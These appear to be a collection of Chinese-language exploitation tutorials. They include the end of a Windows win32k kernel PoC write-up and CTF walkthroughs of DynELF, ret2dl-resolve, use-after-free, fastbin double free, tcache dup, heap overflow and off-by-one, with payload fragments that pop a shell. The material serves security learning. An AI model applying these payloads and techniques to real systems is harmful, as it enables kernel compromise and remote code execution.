和cbwndExtra + 0x128 == *(gpsi + 0x154)
fnid的值已经被第一次调用的NtUserMessageCall
函数设定了。
问题出在第二个检查,由于 *(gpsi + 0x154)
没有在未补丁的win32k
模块中初始化,因此这里的检查会一直不通过。除非我们以某种方式将其设置为正确的值。事实证明,创建特殊的切换窗口(卡巴斯基文章中提到)可以做到这一点。
检查窗口是否未销毁
在这种情况下已经实现未销毁。
要创建特殊的切换窗口,我们需要调用CreateWindowEx
函数并设置窗口名为0x8003
(#32771
)。这样我们最终就会在内核中调用到InternalRegisterClassEx
函数
注:InternalRegisterClassEx
函数片断
这里会初始化*(gpsi+0x154)
的值为 0x130
这样做的副作用是,这个变量值一旦被设定,就无法再设置为0。因此,我们只有一次运行exploit的机会。任何其他的尝试都会在下次重新运行之前失败。
现在,我们可以控制extraWndData
的值后来作为指针被解引用并且传入xxxPaintSwitchWindow
中,extraWndData
可以通过调用如下函数控制
1 | SetWindowLongPtr(HWND hWnd, int nIndex, LONG_PTR dwNewLong) |
需要关注的一件事情是,我们必须在第一次调用NtUserMessageCall
函数之后进行此调用,因为如下图所示,在第一次调用时xxxSwitchWndProc
函数要将窗口的extraData
值设置为0,所以我们需要绕过这个检查。
在创建切换窗口之前SetWindowLongPtr
函数也需要进行调用,参见下图:
注:xxxSetWindowLong函数片段
这是我们实际利用未初始化变量*(gpsi + 0x154)
的地方,通过此检查后,我们将wnd->extraData
设置为任意值。如果正确初始化,则此处的利用将失败
1 | HINSTANCE hInstance = GetModuleHandle(NULL); |
这是运行上述代码的结果
不久之后,当 rdi
取消引用时,我们就会产生一次异常检查。在修复的Windows上运行利用程序显示如下:
1 | [*] Registering window |
SetWindowLongPtr
函数失败,返回错误码为 0x585
因为*(gpsi + 0x154)
变量被正确的初始化了,所以不会引起异常检查。
总的来讲,主要问题是未正确初始化*(gpsi+0x154)
变量。
但这个值有什么作用,为何它如此重要?
gpsi
是一个全局指针指向tagSERVERINFO
结构。这个结构描述了系统窗口(意味着菜单,桌面,切换等等),而不是用户窗口。这些窗口通过FNID值进行识别,例如 0x2A0
代表着切换窗口。
当使用RegisterClassEx
注册窗口时,我们有机会在WNDCLASSEX
上指定cbWndExtra
字段,该字段描述了除tagWND
结构外还将分配多少字节的额外数据,以储存窗口的额外信息。然后,我们可以通过调用SetWindowLongPtr
函数修改这些额外的字节。
系统窗口使用完全相同的机制来储存工作所需要的额外数据。但是原则上,不应使用 SetWindowLongPtr
修改此数据。我们看到xxxSetWindowLongPtr
函数中确实有一个阻止它的检查。在申明类型信息之后,下面是检查部分:
1 | if (nIndex >= gpsi->mpFnid_serverCBWndProc[(window->fnid & 0x3FFF) - FNID_FIRST] - sizeof(tagWND)) |
数组gpsi->mpFnid_serverCBWndProc
描述了给定的系统窗口对象(包括额外数据)的大小。
*(gpsi+0x154)
成为gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]
。通过使该字段保持未初始化状态,xxxSetWindowLongPtr
认为额外数据的大小为 sizeof(tagWND)
,因此,我们能够写入的是切换窗口结构中的私有字段。
这个漏洞的根本原因是未初始化(或者默认情况下初始化为0)的变量gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]
。
这解释了为什么这个补丁这么小。需要做的事情只是将其设置为sizeof(tagWND) + 8
。以相同的方式现在也初始化了一些其他变量在 mpFnid_serverCBWndProc
数组中(FNID_DESKTOP
, FNID_TOOLTIPS
),这应该也是为了防止其他类似的变种利用方法。
运行exploit我们可以产生一次异常,崩溃发生在以下指令:
1 | xxxPaintSwitchWindow + 0x8B: |
在编写POC的最后一步是造成更有用的崩溃,或者造成更好的内存损坏并不使系统崩溃。
为了实现最后一步,我们需要:
提供一个有效的指针指向可读可写的内存
我选择使用VirtualAlloc
函数去分配一些内存并将返回的指针作为参数传递给SetWindowLongPtr
模拟按下ALT键
就像之前提到的,我们会在xxxPaintSwitchWindow
函数中调用 GetKeyState/GetAsyncKeyState
并检查是否有按下ALT键。如果没有按下,程序就会退出。不论是使用GetKeyState
还是 GetAsyncKeyState
它们都是由[extraWndData+6Ch]
中的标志决定
我选择调用SetKeyboardState
函数来模拟ALT键。这只适用于和 GetKeyState
函数一起调用,因此我需要将偏移 0x6C
处的值设置为 1
1 | ptr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); |
通过这段代码,我发生了另一次崩溃
1 | DrawSwitchWndHilite + 0x10A: |
因此,我提供了一个有效的偏移量指针0x20
(指向自身)
1 | ptr[0x20 / sizeof(*ptr)] = ptr; // make double derefence succeed |
现在该漏洞利用程序可以正常工作而不会崩溃,并且当我们检查分配的页面的内容时,我们可以看到它已被修改!
我们实现了一个稳定的POC并且破坏了一块给予它的内存。这比在内存读取时POC崩溃要好得多,因为这种任意的内存损坏可以更容易地转变为任意的内核读/写。另外,我们已经提出了要损坏内存必须满足的条件。
在这次练习中我介绍了如何通过一个漏洞描述报告实现一个有用的内核漏洞利用的POC。
这是一个非常有趣的利用就因为少了一行的代码。所以我想说的是,永远要记得初始化你的全局变量。
poc.cpp
1 |
|
asm.asm
1 | _DATA SEGMENT |
本篇文章主要总结自己学习Linux Pwn的一些过程,记录了一些有意义的资料
DynELF方法适用于没有libc的情况,我们可以通过DynELF方法来实现泄露system函数的地址,那么DynELF是什么呢?在pwntools官方文档有介绍,简单而言就是通过leak方法反复进入main函数中查询libc中的内容,其代码框架如下
1 | p = process('./xxx') |
我们通过一道题来深入了解这个方法
题目链接
https://dn.jarvisoj.com/challengefiles/level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0
解题思路
我们先检测一些保护机制
1 | root@Thunder_J-virtual-machine:~/桌面# checksec level4 |
用IDA查看一下主函数内容
main()
如果是做了前面level0-3的朋友应该对这里非常熟悉,逻辑非常简单,我们进vulnerable_function()函数内看一下
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
vulnerable_function()
很明显这里出现栈溢出,read函数读取0x100的内容,双击buf可以看到buf只有0x88+0x4的大小,所以我们可以构造栈溢出
1 | ssize_t vulnerable_function() |
第一次构造
既然我们清楚是栈溢出,我们就需要多多观察程序内的信息,有没有system,’/bin/sh’等关键的内容,然而我们用IDA并没有搜索到有system或者’/bin/sh’的信息,那这里就需要用到上面提及的DynELF的方法了,我们通过objdump查看函数信息:
1 | root@Thunder_J-virtual-machine:~/桌面# objdump -R level4 |
我们看到有read和write函数,其实有这两个函数就代表我们可以通过他们来泄露system函数在libc中的地址了,因为我们可以通过栈溢出覆盖返回地址执行,因此我们第一次构造调用write函数泄露libc中system的地址
1 | def leak(addr): |
第二次构造
我们在得到了system函数的地址之后就需要写入’/bin/sh’字符串了,那么去哪里写入呢?当然是.bss段,我们通过readelf的方法查看程序的.bss段:
1 | root@Thunder_J-virtual-machine:~/桌面# readelf -S level4 |
根据上面的数据我们选中.bss段的地址开始第二次构造,在.bss段中写入’/bin/sh’字符串
1 | data_addr = 0x0804A024 # readelf -S level4 |
第三次构造
准备工作做完了当然最后一步就是getshell了
1 | payload = 'a' * (0x88 + 0x4) + p32(system_addr) + 'aaaa' + p32(data_addr) |
总结一下上面的步骤
1 | from pwn import * |
没有做过level0-3的建议做一下在做level4,每个题目收获都会有所不同
参考链接
1 | https://www.anquanke.com/post/id/85129 |
ret2dl-resovle这种技术在pwn中的运用也挺多的,可以类比Windows下的IAT技术进行学习,了解这个技术之前,我们需要知道ELF文件中各个函数的加载过程,下面就演示一下GOT表是如何加载的,首先我们编译一个简单的程序
1 |
|
我们在puts函数下一个断点,观察是如何调用这个函数的
1 | thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ gdb a.out |
可以发现,0x80482e6这个地址,并不直接是libc的puts函数的地址。这是因为linux在程序加载时使用了延迟绑定(lazy
load),只有等到这个函数被调用了,才去把这个函数在libc的地址放到GOT表中。接下来,会再push一个0,再push一个dword ptr [0x804a004],待会会说这两个参数是什么意思,最后跳到libc的_dl_runtime_resolve去执行。这个函数的目的,是根据2个参数获取到导出函数(这里是puts)的地址,然后放到相应的GOT表,并且调用它。而这个函数的地址也是从GOT表取并且jmp [xxx]过去的,但是这个函数不会延迟绑定,因为所有函数都是用它做的延迟绑定。而第二次调用puts函数则直接指向puts函数的地址,懂得了上面的东西,我们还需要知道一些结构体,类比PE文件的一些结构,用来索引一些结构。
.dynamic
dynamic结构包含了一些关于动态链接的关键信息,我们只需要关注DT_STRTAB
, DT_SYMTAB
, DT_JMPREL
这三个字段,这三个东西分别包含了指向.dynstr
, .dynsym
, .rel.plt
这3个section的指针
1 | LOAD:08049F14 ; ELF Dynamic Information |
.dynstr
.dynstr是一个字符串表,index[0]的地方永远是0,然后后面是动态链接所需的字符串,以0结尾,包括导入函数名,比方说这里很明显有个puts。到时候,相关数据结构引用一个字符串时,用的是相对这个section头的偏移,比方说,在这里,就是字符串相对0x804821C的偏移。
1 | LOAD:0804821C ; ELF String Table |
.dynsym
结构如下,这是一个符号表(结构体数组),里面记录了各种符号的信息,每个结构体对应一个符号。我们这里只关心函数符号,比如puts函数。结构体定义如下
1 | typedef struct |
在IDA中显示如下
1 | LOAD:080481CC ; ELF Symbol Table |
.rel.plt
这里是重定位表(不过跟windows那个重定位表概念不同),也是一个结构体数组,每个项对应一个导入函数。结构体定义如下:
1 | typedef struct |
在IDA中显示如下
1 | LOAD:08048298 ; ELF JMPREL Relocation Table |
上面的结构体看起来也挺迷糊人的,我只是根据一位大佬的文章总结过来的,下面才是我们需要清楚的关键函数 _dl_runtime_resolve(link_map_obj, reloc_index) ,源码可以在这里下载。
_dl_runtime_resolve函数运行模式如下:
利用方法主要是伪造rel.plt表和symtab表,并且修改reloc_index,让重定位函数解析我们伪造的结构体,借此修改符号解析的位置,对于一些字段的获取,我们可以用objdump来寻找,如下图
1 | thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ objdump -s -j .rel.plt ./main |
首先检查保护机制
1 | thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ checksec main |
main
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
vuln
1 | ssize_t vuln() |
题目思路非常清晰,read函数存在栈溢出,但是没有libc,ROPgadget也很少,这里就可以考虑ret2dl-resolve,我们先将栈转移到bss段,然后构造结构体,实现对system函数的解析,然后getshell
第一处payload负责栈转移,将eip覆盖为.rel.plt地址,传递一个可控的rel_offset,使rel_entry落在可控区域
1 | payload = 'a'*108 + p32(bss_addr - 20) + p32(elf.plt['read']) + p32(leave_ret) + p32(0) + p32(bss_addr - 20) + p32(0x50) |
第二处的payload负责伪造rel_entry使sym_entry落在可控区域,伪造sym_entry使sym_name为‘system’
1 | payload2 = p32(0x0) # pop ebp, 随便设反正不用了 |
exp
1 | from pwn import * |
这个脚本可以保存一份,以后遇到类似的题目可以直接套用脚本
参考链接
1 | https://bbs.pediy.com/thread-227034.htm |
本文实验环境主要是在Linux下,对Linux的堆知识进行整理和总结,也算是对许多资料的一个整理,和Windows相比,Linux下的堆管理机制并没有那么的严谨,导致了许多攻击的产生,下面就从概念开始分析Linux堆管理机制
在程序运行过程中,堆可以提供动态分配的内存,允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域。我们一般称管理堆的那部分程序为堆管理器,与栈不同的是堆由低地址向高地址方向增长,而栈由低地址向高地址方向增长。下面这张图可以很清楚的说明:
注:本文提到的堆是基于glibc 库下的 ptmalloc2堆管理器
我们首先来看堆结构的源码,这里我们申请的每一个堆即是一个chunk结构,它有个名字叫做malloc_chunk
,非常有意思的是,无论一个 chunk 的大小如何,处于分配状态还是释放状态,它们都使用一个统一的结构
1 | /* |
各个字段解释如下
prev_size
负责记录前一块chunk的大小,只有在前面一个堆块是空闲的时候才有值。前面一个堆块在使用时,他的值始终为 0
size
记录该 chunk 的大小,大小必须是 2 SIZE_SZ 的整数倍。如果申请的内存大小不是 2 SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。 该字段的低三个比特位有如下的作用
fd,bk
chunk 处于分配状态时,从 fd 字段开始是用户的数据。chunk 空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下
fd_nextsize, bk_nextsize
也是只有 chunk 空闲的时候才使用,不过其用于较大的 chunk(large chunk)。
一个已经分配的chunk以及后一块chunk状态如下
1 | chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
被释放的 chunk 被记录在链表中,可能是循环双向链表,也可能是单向链表,状态如下
1 | chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
对于正在使用的 chunk,它的下一个 chunk 的 prev_size 是无效的,这块内存也可以被当前 chunk 使用,这也就存在了空间的复用,因此对于使用中的 chunk 大小计算公式是:chunk_size = (用户请求大小 + (2 -1) * sizeof(INTERNAL_SIZE_T)) aligh to 2 * sizeof(size_t)
比如我们在64位系统中
1 | malloc(8) |
为了搞清楚堆的结构我们首先做一个实验,构造如下代码
1 |
|
程序先用malloc函数申请了一块内存,然后向内存中拷贝了5个a,最后释放了这块内存,我们在gdb中观察堆的结构,我们首先运行到malloc函数,用vmmap观察内存布局,这里没有生成堆
1 | pwndbg> vmmap |
我们单步一下,观察malloc函数之后的返回值,即rax中保存的值,也就是指向我们chunk的地址,需要注意的是这里malloc函数返回的指针指向的是我们chunk中的user data(用户数据区),我们继续用vmmap观察内存布局,此时已经可以看到我们申请的heap区,然而系统却给了我们大小0x555555777000 - 0x555555756000 = 21000
的空间,这并不是系统在浪费资源,这是一种提高效率的做法,在下一次我们申请内存的时候就从这块内存里直接取,当这一块内存不足的时候才会向系统索取
1 | pwndbg> vmmap |
我们用x/20gx rax
查看一下我们刚才申请堆的样子,0x555555756000
和0x555555756010
这两排既是我们申请的堆,size是0x20 + 1 = 0x21
1 | pwndbg> x/10gx 0x555555756010-32 |
我们继续运行程序到memcpy函数的下一行观察我们的堆,很明显我们将aaaaa写入了我们的user data中
1 | pwndbg> x/10gx 0x555555756010-32 |
我们继续运行将其释放掉,观察user data的区域已经被清空了
1 | pwndbg> x/10gx 0x555555756010-32 |
然而并不只是清空那么简单,系统还将把这块内存交给堆管理系统中去,方便下一次申请操作,这里我们用x/10gx &main_arena
命令发现我们的堆已经连到了main_arena + 0x8中,并且连接的是堆的头部
1 | pwndbg> x/10gx &main_arena |
所以我们可以总结一下free函数
main_arena 就是 ptmalloc2 堆管理器通过与操作系统内核进行交互申请到的,也就是我们一开始申请到的那么一大块内存,因为是主线程分配的,所以叫 main_arena
如果你细心的话你可能会观察到,在刚才我们申请chunk的下面始终有 0x20fe1 大小的chunk,这一块chunk非常大,程序以后分配到的内存到要放在他的后面,它的作用就是在程序在向堆管理器申请内存时,没有合适的内存空间可以分配时,此时就会从 top chunk 上借一部分作为 chunk 分配给它
这是最近一次 small chunk 请求而产生分割后剩下的那一块 chunk,当在 small bins 和 unsorted bin 中找不到合适的 chunk时,如果 last remainder chunk 的大小大于用户请求的大小,则将其分割,返回用户所需 chunk 后,剩下的成为新的 last remainder chunk。
malloc根据用户申请堆块的大小不同做出不同的处理。最常用的是fastbin和chunk。malloc分配时的整体顺序是如果堆块较小,属于fastbin,则在fastbin list里寻找到一个恰当大小的堆块;如果其大小属于normal chunk,则在normal bins里面(unsort,small,large)寻找一个恰当的堆块。如果这些bins都为空或没有分配成功,则从top chunk指向的区域分配堆块。
bins
libc的堆管理机制和其他的堆管理一样,对于free的堆块,堆管理器不会立即把释放的内存还给系统,而是自己保存起来,以便下次分配使用。这样可以减少和系统内核的交互次数,提高效率。Libc中保存释放的内存的地点就是bin。bin是一个个指针,指向一个个链表(双向&单向),除了 fastbin 是 LIFO 单链表的数组维护,其余的bins都是 FIFO 双向链表维护,这些链表就由释放的内存组成,下面是bins的具体分类:
特点:
引用一张图片,fastbin一共有10个单项列表,下图是32位系统下的分布,当分配一块较小的内存(memory<=64 Bytes)时,会首先检查对应大小的fastbin中是否包含未被使用的chunk,如果存在则直接将其从fastbin中移除并返回;否则通过其他方式(剪切top chunk)得到一块符合大小要求的chunk并返回。也就是说,fastbin list只用了前7个进行维护
malloc (fast chunk)
1 | if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) |
在初始化时 fast bin 支持的最大内存大小以及所有 fast bin 链表都是空的,所以即使用户申请了一个 fast chunk,它也不会交由 fast bin 来处理,而是向下传递交由 small bin 来处理,如果 small bin 也为空的话就交给 unsorted bin 来处理。
那么 fast bin 是在哪?怎么进行初始化的呢?当我们第一次调用 malloc (fast chunk) 的时候,系统执行 _int_malloc 函数,该函数首先会发现当前 fast bin 为空,就转交给 small bin 处理,进而又发现 small bin 也为空,就调用 malloc_consolidate 函数对 malloc_state 结构体进行初始化, malloc_consolidate 函数主要完成以下几个功能:
之后当 fast bin 中的相关数据不为空了,就开始使用 fast bin。
得到第一个来自于 fast bin 的 chunk 之后,系统就将该 chunk 从对应的 fast bin 中移除,并将其地址返回给用户。
free (fast chunk)
先通过 chunksize 函数根据传入的地址指针对应的 chunk 的大小,然后根据这个 chunk 的大小获取该 chunk 所属的 fast bin,然后再将此 chunk 添加到该 fast bin 的链尾。
除了fastbin以外,堆块释放后堆块会被放到malloc_state结构的bins数组中,分布如下
1 | Bin[0] -> 不存在 |
特点:
当 fast bin、small bin 中的 chunk 都不能满足用户请求 chunk 大小时,堆管理器就会考虑使用 Unsorted bin 。它会在分配 large chunk 之前对堆中碎片 chunk 进行合并,以便减少堆中的碎片。Unsoted bin 是一个由 free chunks 组成的循环双向链表。在 Unsorted bin 中,对 chunk 的大小没有限制,任何大小的 chunk 都可以归属到 Unsorted bin 中。
malloc
1 | int iters = 0; |
特点:
如果程序请求的内存范围不在 fast bin 的范围内,就会考虑small bin。简单点说就是大于 80 Bytes 小于某一个值时,就会选择他。32 位系统下小于512字节的 chunk,64位系统下小于1024字节,small bin 就是用于管理 small chunk 的。就内存分配和释放的速度而言,small bin 比 larger bin 快,但比 fast bin 慢。
malloc(small chunk)
1 | if (in_smallbin_range (nb)) |
最初所有的 small bin 都是空的,因此在对这些 small bin 完成初始化之前,即使用户请求的内存大小属于 small chunk 也不会交由 small bin 进行处理,而是交由 unsorted bin 处理,如果 unsorted bin 也不能处理的话,glibc 就以此遍历后续的所有 bins,找出第一个满足要求的 bin,如果所有的 bin 都不满足的话,就转而使用 top chunk,如果 top chunk大小不够,那么就扩充 top chunk,这样就一定能满足需求了。
在第一次调用 malloc 时,初始 malloc_state 的时候对 small bin 和 large bin 进行初始化,bin 的指针指向自己表明为空。(malloc.c # 1808)
之后,当再次调用 malloc(small chunk) 的时候,如果该 chunk size 对应的 small bin 不为空,就从该 small bin 链表中取得 small chunk,否则就需要交给 unsorted bin 及之后的逻辑来处理了。
free(small chunk)
当释放 small chunk 时,检查它前一个或后一个 chunk 是否空闲,如果是,则合并到一起:将其从 bin 中移除,合并成新的 chunk,最后将新的 chunk 添加到 unsorted bin 中。
特点:
32位系统下大于等于512字节,64位系统下大于等于1024字节的 chunk 称为 large chunk,large bin 就是用于管理这些 large chunk 的。large bin中不再是每个 bin 中的 chunk 大小都固定,每个 bin 中存放着该范围内不同大小的 bin 并在存的过程中进行排序用来加快检索的速度,大的 chunk 放在前面,小的放在后面
malloc(large chunk)
1 | if (!in_smallbin_range (nb)) |
初始时全部的 large bins 都为空,即使用户申请了一个 large chunk,不是给 large bin 进行处理,而是交由 next largest bin (to do) 进行处理,初始化操作与 small bin 一致。
之后当用户再次请求一个 large bin时,首先确定用户请求的大小属于哪一个 large bin,然后判断该 large bin 中最大的 chunk 的大小是否大于用户请求的大小。
如果大于,就从尾部到头部遍历该 large bin,找到一个大小相等或接近的 chunk 返回给用户。如果该 chunk 大于用户请求的大小的话,就将该 chunk 拆分为两个 chunk:前者返回给用户,且大小等同于用户请求的大小,剩余的部分作为一个新的 chunk 添加到 unsorted bin 中。
如果该 large bin 中最大的 chunk 小于用户请求的大小,那么就依次查看后续不为空的 large bin 中是否有满足需求的 chunk,如果找到合适的,切割之后返回给用户。如果没有找到,尝试交由 top chunk 处理。
free(large chunk)
当释放 large chunk 时,检查它前一个或后一个 chunk 是否空闲,如果是,则合并到一起:将其从 bin 中移除,合并成新的 chunk,最后将新的 chunk 添加到 unsorted bin 中。
free之前的检查
inuse
状态1 | size = chunksize (p); |
函数名 | 检查 | 报错信息 |
---|---|---|
unlink | p->size == nextchunk->pre_size | corrupted size vs prev_size |
unlink | p->fd->bk == p 且 p->bk->fd == p | corrupted double-linked list |
_int_malloc | 当从fastbin分配内存时 ,找到的那个fastbin chunk的size要等于其位于的fastbin 的大小,比如在0x20的 fastbin中其大小就要为0x20 | malloc():memory corruption (fast) |
_int_malloc | 当从 smallbin 分配 chunk( victim) 时, 要求 victim->bk->fd == victim | malloc(): smallbin double linked list corrupted |
_int_malloc | 当迭代 unsorted bin 时 ,迭代中的 chunk (cur)要满足,cur->size 在 [2*SIZE_SZ, av->system_mem] 中 | malloc(): memory corruption |
_int_free | 当插入一个 chunk 到 fastbin时,判断fastbin的 head 是不是和 释放的 chunk 相等 | double free or corruption (fasttop) |
_int_free | 判断 next_chunk->pre_inuse == 1 | double free or corruption (!prev) |
1 | [+] Source Code of malloc.c : https://code.woboq.org/userspace/glibc/malloc/malloc.c.html |
漏洞介绍
Glibc Heap 利用中,Use After Free(UAF)是很常见的一种,那么什么是UAF呢?
简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:
而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。
首先创建一个UAF.cpp,内容如下
1 |
|
编译:
1 | g++ use_after_free.cpp -o use_after_free -g -w -no-pie |
运行结果:
1 | root@Thunder_J-virtual-machine:~/桌面# ./UAF |
为什么错误呢?原因很简单,我们之前已经释放过p了,现在又来调用当然会错误,现在我们动态调试一下。
首先我们需要在main函数下个断点,然后单步观察
1 | b main |
我们运行到delete p的地方
1 | n |
我们查看堆情况
1 | heap p |
根据p我们查看一下chunk指向的内容
1 | x/20gx 0x613e70-16 |
可以看到最终指向的地址是B中的print()函数,我们继续单步直到p->print()处,也就是漏洞触发之后,再次查看此内存
1 | x/10gx 0x613e70-16 |
可以看到0x613e70处内容已经修改为我们写入的deadbeef,我们查看一下汇编
1 | disassemble /m main |
我们查看寄存器信息
1 | ─────────────────────────────────[ REGISTERS ]────────────────────────────────── |
我们发现RAX的内容就是我们输入的信息,结合汇编代码可以发现,最终的call rax这句代码将执行的我们输入的数据所指的地址的代码,也就是我们可以通过输入来getshell,我们通过IDA找到函数的地址
exp:
1 | from pwn import * |
题目链接
解题思路
首先运行一下程序,可以看到Menu中有一下几个选项:
1 | ---------------------- |
我们分别来分析一下各个函数的功能:
add_note
可以看出该函数主要就是创建 note ,最多能够创建5个,每个 note 有两个字段 put 与 content,其中 put 会被设置为一个函数,其函数会输出 content 具体的内容。
1 | unsigned int add_note() |
print_note
该函数就是输出相应note的内容
1 | unsigned int print_note() |
delete_note
该函数主要就是删除对应的note,但是在删除的时候只是进行了free而并没有置为NULL,这里就存在UAF漏洞
1 | unsigned int del_note() |
我们可以在IDA中看到程序有一个叫做magic的函数,它的作用就是 cat flag,所以我们只需要修改 note 的 put 字段为 magic 函数的地址,从而实现在执行 print note 的时候执行 magic 函数。
因为note是一个fastbin chunk(大小为 16 字节),我们需要将note的put字段修改为magic函数的地址,而fastbin chunk是一个单链表有LIFO的特性,所以我们从申请入手,利用过程如下:
我们动态调试一下整个过程:
1 | heap |
可以看到我们的数据已经成功申请
1 | x/20gx 0x804b150 |
删除之后可以再次来看堆的信息可以看到大小为 16 的 fast bin chunk 中链表为 note1->note0
1 | x/20gx 0x804b150 |
我们重新申请大小为8,内容为aaaa的note再打印note0就会改变eip
1 | c |
我们只需要将aaaa改为我们magic的地址即可,而magic函数的地址是在IDA中可以看到的,所以我们可以得到下面的代码
1 | from pwn import* |
上面的exp并不能拿到shell,只能获得flag,为了拿到shell我们还需要执行system(‘/bin/sh’),下面的版本才是getshell的exp
exp
1 | from pwn import * |
system函数地址分布如下,+6 的原因是直接走push 0x38的位置,让程序直接去解析system函数真正的位置,也就是执行dl_runtime_resolve(link_map, index) 函数解析system函数的位置,具体原理详见 ret2dl-resolve
1 | pwndbg> x/10i 0x8048500 |
漏洞介绍
Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。
Fastbin Double Free 能够成功利用主要有两部分的原因
更详细的介绍CTF-wiki上有,我就不赘述了。下面直接来实例:
首先创建一个heap.c,内容如下
1 |
|
编译:
1 | gcc -no-pie heap.c -o heap -g -w |
这道题有三个选项,一个申请,一个释放,一个打印,因为可以自己操作释放,我们分析之后发现存在Double Free的漏洞,下面就直接动态演示一下这个过程,我们断在输入的地方
1 | b 20 |
我们按如下方式先申请两块大小为25的内存:
1 | n |
现在我们删除chunk,再次观察这里的内存
1 | c |
可以看到上面释放了之后形成了一个双向链表,如果我们继续申请内存,就会申请在0x602670处,这里我们申请到0x602660,其ASCII码为&
1 | c |
我们继续申请内存就会申请到0x602670处的地方
1 | c |
如果我们继续申请,就会覆盖0x602670处的内容,也就是覆盖这个双链表的内容
1 | c |
因为0x602670处指向了0x602660,所以我们再次申请内存就会写在0x602660处
1 | c |
既然0x602660处的地址可以利用,那意味着我们可以将malloc()函数修改为sh()的地址,然后getshell,我们先查看一下函数的地址
1 | root@Thunder_J-virtual-machine:~/桌面# objdump -R heap |
我们将地址改为sh()之后还需要一个参数’sh’,我们需要在0x601040处写入’sh’,也就是get函数的地方,最后调用malloc的时候sz替换为’sh’的地址即可,exp如下
1 | from pwn import * |
题目链接
这道题需要了解一些tcache的知识,CTF-Wiki上有详细的介绍,简单来说就是tcache_put() 的不严谨
1 | static __always_inline void |
因为没有任何检查,所以我们可以对同一个 chunk 多次 free,造成 cycliced list,这里其实就有点像Double Free的感觉,只是Double Free不能连续free而这里可以,运行了解一下程序,是一个常见的管理系统
1 | root@Thunder_J-virtual-machine:~/桌面# ./babytcache |
IDA分别分析一下每个函数的内容
add_note
这里将创建的地址都放在了ptr[]的地方,也就是0x6020E0处
1 | int add_a_note() |
delete_note
1 | void delete_note() |
show_note
1 | int show_a_note() |
我们首先创建一个note,然后释放三次
1 | heap |
这道题并没有给system函数和’/bin/sh’,所以我们需要泄露出system函数的地址,然后想办法改got表。
我们将0x6020e0位置的指针改为puts函数的got表指针,然后就可以泄露puts函数的在libc的地址,计算出system函数的地址,然后用同样的方法将puts的got表覆盖为system函数的地址,最后调用puts()实现getshell,偏移的计算是在接受到puts函数地址的时候,用vmmap打印出libc地址,然后相减就行了
1 | from pwn import * |
漏洞介绍
堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据溢出,并覆盖到物理相邻的高地址的下一个堆块,我们用两个例子来说明这个问题。
创建overflow.c
1 |
|
编译
1 | gcc -no-pie overflow.c -o overflow -g -w |
我们把断点下好观察chunk变化
1 | root@Thunder_J-virtual-machine:~/桌面# gdb overflow |
上面就是简单的堆溢出演示,在利用的时候当然不是这么的随便下面就看第二个例子。
创建Overflow_Free_Chunk.c
1 |
|
编译
1 | gcc -no-pie Overflow_Free_Chunk.c -o Overflow_Free_Chunk -g -w |
我们在scanf输入处下断点观察
1 | b 20 |
我们申请两次大小为24的chunk,为什么要申请24呢,因为最小的chunk大小为32位,,最小的堆即为prev_size(可以被上一个chunk占用),size,fd(可以被本chunk占用),bk(可以被本chunk占用) ,8*4即为32位,我们看一下堆的结构:
1 | struct malloc_chunk { |
我们知道,我们申请出来的chunk最少是32位,然而chunk的大小至少是16的倍数,我们申请小于24位的chunk,其实申请出来大小是32位,也就是:
1 | prev_size + size + fd + bk |
我们申请两次chunk之后的情况:
1 | c |
我们释放两次chunk之后的情况:
1 | c |
因为fastbin是单链表,所以我们free两次会得到一个单链表:
1 | 0x602670->0x602690 |
当我们再次申请相同大小的chunk的时候,作合适的写入操作就可以覆盖下一个chunk的内容:
1 | c |
我们需要注意的第一点是,我们free的顺序不能乱,一旦乱了,就会导致无法覆盖到理想的chunk处,要深入理解fastbin的LIFO机制,也就是想象成栈的机制,最好的理解方式就是自己多试几次,我们需要注意的第二点是我们不能一直乱覆盖到下一个chunk的size大小,因为size代表这个chunk的大小,要是乱覆盖用‘cccccccc’替代size内容那这个chunk的大小就变成了0x6363636363636363,就不是fastbin的大小了,也就无法达到目的了,所以我们必须选择好偏移的位置,将size大小正确写入下一个chunk,然后将chunk的fd指向我们的free函数地址,然后将’sh’写入free函数的地方。
exp
1 | from pwn import * |
off-by-one是堆溢出中比较有意思的一类漏洞,漏洞主要原理是 malloc 本来分配了0x20的内存,结果可以写 0x21 字节的数据,多写了一个,影响了下一个内存块的头部信息,进而造成了被利用的可能,这里就以西湖论剑的一道题目来讲解这个漏洞
题目链接
http://file.eonew.cn/ctf/pwn/Storm_note
解题思路
首先检测一下程序检测,该开的都开了
1 | Thunder_J@Thunder_J-virtual-machine:~/桌面$ checksec Storm_note |
首先用IDA观察一下程序,有delete_note,backdoor,alloc_note,edit_note四个功能
1 | while ( 1 ) |
程序执行之前有这个初始化函数,可以看到关闭了 fastbin 机制
1 | ssize_t init_proc() |
